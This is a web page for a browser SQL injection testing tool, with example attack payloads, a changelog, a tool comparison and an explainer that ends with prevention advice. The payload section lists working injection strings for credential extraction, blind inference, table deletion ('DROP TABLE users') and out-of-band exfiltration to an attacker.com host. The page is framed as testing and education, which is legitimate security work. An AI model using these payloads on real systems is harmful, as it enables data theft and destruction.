šŸ—ƒļø SQL Injection Tester

Test your web applications for SQL injection vulnerabilities and database security issues

Version 2.1.0 - Updated September 2025
?
Enter the URL of the website or web application you want to test for SQL injection vulnerabilities.
?
Enter SQL injection payloads to test. Each payload will be injected into the target URL parameters.
?
Choose the type of SQL injection vulnerability you want to test for.
?
Choose the database type to use for specialized payloads.
?
Specify which URL parameters to test. Leave empty to test all parameters.
Security Level: Not Tested
Test results will appear here

Embed This Tool

Want to embed this SQL injection tester on your website? Use this code:

<iframe src="https://yoursite.com/sql-injection-tester" width="100%" height="700" frameborder="0"></iframe>

šŸŽÆ SQL Injection Examples & Attack Vectors

āœ… Basic Union-Based Injection

Extracting data using UNION operator:

' UNION SELECT username, password FROM users--

Impact: Can extract sensitive data from database tables

šŸ”„ Error-Based Injection

Extracting information through error messages:

' AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT @@version)))--

Impact: Database version and structure disclosure

šŸ” Boolean-Based Blind Injection

Inferring data through true/false responses:

' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--

Impact: Can extract data character by character

ā±ļø Time-Based Blind Injection

Using time delays to infer data:

'; IF (SELECT COUNT(*) FROM users) > 0 WAITFOR DELAY '0:0:5'--

Impact: Data extraction without visible output

šŸ“ Stacked Queries

Executing multiple SQL statements:

'; DROP TABLE users; --

Impact: Database modification or destruction

šŸŽÆ Out-of-Band Data Exfiltration

Exfiltrating data through DNS or HTTP requests:

'; EXEC xp_dirtree '\\attacker.com\' + (SELECT TOP 1 password FROM users)--

Impact: Data exfiltration to external servers

šŸ“š SQL Injection Security Tutorials

šŸ—ƒļø

Understanding SQL Injection Vulnerabilities

Learn the fundamentals of SQL injection attacks and how they can compromise database security.

Read Tutorial →
šŸ”

SQL Injection Testing Methodology

Comprehensive guide to testing web applications for SQL injection vulnerabilities using systematic approaches.

Read Tutorial →
⚔

Advanced SQL Injection Prevention

Implementing robust security measures to protect against sophisticated SQL injection attacks.

Read Tutorial →
🚫

Common SQL Injection Defense Mistakes

Learn about frequent security implementation errors and how to avoid them.

Read Tutorial →
šŸ“Š

SQL Injection in Modern Web Frameworks

How modern frameworks like Laravel, Django, and Spring handle SQL injection and where vulnerabilities still exist.

Read Tutorial →
🌐

Real-world SQL Injection Case Studies

Analysis of notable SQL injection attacks in the wild and lessons learned from security breaches.

Read Tutorial →

āš–ļø SQL Injection Testing Tools Comparison

Compare our free SQL injection tester with other popular security testing tools and services:

Feature Our Tool Online Tool A Security Suite B Browser Extension
Free to Use āœ… āœ… āŒ (Premium) āœ…
Custom Payloads āœ… āœ… (Limited) āœ… āŒ
Multiple SQL Injection Types āœ… (All types) āœ… (Basic only) āœ… āœ…
Database-Specific Payloads āœ… āŒ āœ… āœ…
Security Level Assessment āœ… āŒ āœ… āŒ
Client-Side Testing āœ… (Secure) āŒ (Server-side) āŒ (Server-side) āœ…
Mobile Friendly āœ… āœ… āœ… āœ…
Educational Content āœ… āŒ āœ… āŒ
Privacy (No data sent) āœ… āŒ āŒ āœ…

Why Choose Our SQL Injection Tester?

šŸ”’ Complete Privacy

All testing happens in your browser. Your URLs and test data never leave your device, ensuring maximum privacy and security.

šŸŽ›ļø Full Customization

Control every aspect of your SQL injection testing - payloads, injection types, database types, and parameters.

šŸ“Š Comprehensive Assessment

Get detailed security level assessment with visual indicators and actionable recommendations.

šŸŽ“ Educational

Not just a tool - includes comprehensive guides, examples, and best practices for database security.

šŸ“ Version History & Changelog

Version 2.1.0 - Latest

September 15, 2025
  • šŸŽ‰ Added security level assessment with visual indicators
  • šŸ“Š Enhanced test statistics and performance metrics
  • šŸ“± Improved mobile responsiveness and touch interactions
  • šŸ”§ Added embed code functionality for easy integration
  • šŸ“š Expanded educational content and attack examples
  • šŸŽØ Updated UI with better accessibility and contrast

Version 2.0.0

August 20, 2025
  • šŸ”„ Complete UI redesign with modern styling
  • šŸ“š Added comprehensive tutorial section
  • šŸ“ Introduced tabbed navigation for better organization
  • āš–ļø Added tool comparison feature
  • šŸ’¾ Implemented detailed report generation
  • šŸ“‹ Enhanced copy functionality with better feedback

Version 1.2.0

July 10, 2025
  • āœ… Added multiple SQL injection types (Union, Error, Boolean, Time-based)
  • šŸ›”ļø Improved payload library with database-specific attacks
  • šŸ“– Added real-world attack examples and case studies
  • šŸ› Fixed URL parsing issues on mobile devices
  • ♿ Enhanced accessibility with ARIA labels

Version 1.1.0

June 5, 2025
  • šŸŽØ Improved visual design with gradient backgrounds
  • šŸ“± Added responsive design for mobile devices
  • āš ļø Added warnings for potentially dangerous payloads
  • šŸ“‹ Implemented one-click copy functionality
  • šŸ”§ Fixed payload encoding issues

Version 1.0.0

May 15, 2025
  • šŸŽ‰ Initial release of SQL Injection Tester
  • šŸ” Support for basic SQL injection testing
  • ⚔ Client-side processing for maximum privacy
  • šŸ“š Comprehensive documentation and examples
  • ✨ Clean, modern user interface

šŸ”® Upcoming Features

šŸ“‹ Planned for Next Release:

  • Automated website crawling for comprehensive testing
  • NoSQL injection testing support
  • Advanced obfuscation techniques for payloads
  • Browser extension for in-page testing
  • Dark/Light theme toggle
  • API for programmatic testing
  • Integration with popular security frameworks

What is SQL Injection?

SQL Injection is a code injection technique that attackers use to exploit vulnerabilities in a web application's database layer. It occurs when untrusted data is sent to an interpreter as part of a command or query, tricking the interpreter into executing unintended commands or accessing unauthorized data.

🟢 Types of SQL Injection Attacks

āœ… Common SQL Injection Variants:

  • Union-based SQLi: Uses UNION operator to combine results from multiple tables
  • Error-based SQLi: Extracts information from database error messages
  • Boolean-based Blind SQLi: Uses boolean conditions to infer data
  • Time-based Blind SQLi: Uses time delays to infer data
  • Stacked Queries SQLi: Executes multiple SQL statements in one request
  • Out-of-band SQLi: Exfiltrates data through DNS or HTTP requests

šŸ”“ Common SQL Injection Attack Vectors

āŒ Vulnerable Input Points:

  • Login forms and authentication systems
  • Search fields and filters
  • URL parameters and query strings
  • Form inputs (comments, user profiles)
  • HTTP headers (Cookies, User-Agent)
  • API endpoints with insufficient validation

SQL Injection Impact and Consequences

šŸ”“ Data Breach

Attackers can extract sensitive information including user credentials, personal data, and financial records.

šŸ“Š Data Manipulation

Attackers can modify, delete, or insert data in the database, potentially causing data corruption or loss.

šŸ”„ Authentication Bypass

SQL injection can be used to bypass authentication mechanisms and gain unauthorized access to systems.

⚔ Database Takeover

In severe cases, attackers can gain complete control over the database server and underlying system.

How to Prevent SQL Injection Vulnerabilities

Protecting against SQL injection requires a multi-layered security approach:

  1. Parameterized Queries: Use prepared statements with parameterized queries
  2. Input Validation: Validate and sanitize all user inputs on both client and server sides
  3. Stored Procedures: Use stored procedures with proper parameterization
  4. ORM Frameworks: Use Object-Relational Mapping frameworks with built-in protection
  5. Least Privilege: Database accounts should have minimal necessary privileges
  6. Regular Testing: Conduct security testing and code reviews regularly

SQL Injection Testing Best Practices

šŸ” Recommended Security Tools

Enhance your security testing with these trusted tools and platforms: